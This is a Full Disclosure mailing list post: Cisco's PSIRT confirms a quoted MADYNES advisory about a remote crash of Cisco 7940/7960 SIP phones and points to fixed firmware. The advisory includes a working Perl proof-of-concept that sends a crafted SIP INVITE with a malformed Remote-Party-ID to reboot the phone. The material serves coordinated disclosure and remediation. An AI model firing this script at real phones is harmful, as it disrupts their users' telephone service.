Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: CISCO Phone 7940 DOS vulnerability
From: Matthew Cerha <mcerha () cisco com>
Date: Tue, 20 Mar 2007 09:53:33 -0500

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is in response to the e-mail posted by Radu State. The original
e-mail is available at

http://lists.grok.org.uk/pipermail/full-disclosure/2007-March/053070.html

Hi Radu,

Thanks for reporting this issue to Cisco's Product Security Incident
Response Team (PSIRT).

We have confirmed your findings with the 7940/60 SIP P0S3-07-4-00
firmware. Cisco has also confirmed that firmware version 8.6(0)
(POS8-6-0) is not vulnerable to this issue. The latest firmware images
for Cisco 7940/60 phones can be obtained here:

http://www.cisco.com/cgi-bin/tablebuild.pl/ip-7900ser

We are always open for vulnerability reports regarding any Cisco
products. Such reports can be directly sent to us at psirt () cisco com or
to security-alert () cisco com in case of an emergency.

Best regards,

Matthew Cerha
Cisco Systems

Radu State wrote:
MADYNES Security Advisory 


http://madynes.loria.fr



Severity: High

Title: Cisco 7940 SIP INVITE remote DOS 

Date: February 19, 2007

ID: KIPH2


Synopsis: After sending a cra fted INVITE message the device immediately
reboots. The phone does not check properly the sipURI field of the
Remote-Party-ID in the message.

The vendor was informed and acknowledged the vulnerability. This
vulnerability was identified by the Madynes research team at INRIA
Lorraine, using the Madynes VoIP fuzzer.


Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol
for VoIP signalization. SIP is an ASCII based INVITE message is used to
initiate and maintain a communication session. 


Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00


Unaffected: devices running firmware POS8-6-0



Proof of Concept Code: 


#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\ () $ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\ () 192 168 1 2;tag=qwzng\r\nTo: <sip:$ARGV[2]\ () $ARGV[0];user=ip>\r
\nCall-ID: fosforito\ () 192 168 1 1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\ () 192 168 \xd1 7\r\n\r\n";

$socket->send($msg);



Description: After receiving one crafted SIP INVITE message, the
affected device reboots immediately. The proof of concept code can be
used to demonstrate the vulnerability.



Impact 

A malicious user can remotely crash and perform a denial of service
attack by sending one crafted SIP INVITE message. This is conceptually
similar to the “ping of death”. 


Resolution:

Fixed software is available from the vendor and customers following
recommended best practices (ie segregating VOIP traffic from data) will
be protected from malicious traffic in most situations. 







Credits:

Humberto J. Abdelnur (Ph.D Student)

Radu State (Ph.D)

Olivier Festor (Ph.D)

This vulnerability was identified by the Madynes research team at INRIA

Lorraine, using the Madynes VoIP fuzzer.

http://madynes.loria.fr/




Information about us: Madynes is a research team at INRIA Lorraine
working on VoIP Security assessment, intrusion detection and prevention.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

-----BEGIN PGP SIGNATURE-----

iD8DBQFF//VtllAcl+pm5SIRAoLmAJ4qVYWpjzDRwLL46JoLBB0WToyvaQCg1BL7
+zY0SNXn+xgI7Y2HP3wZHNk=
=wAZI
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]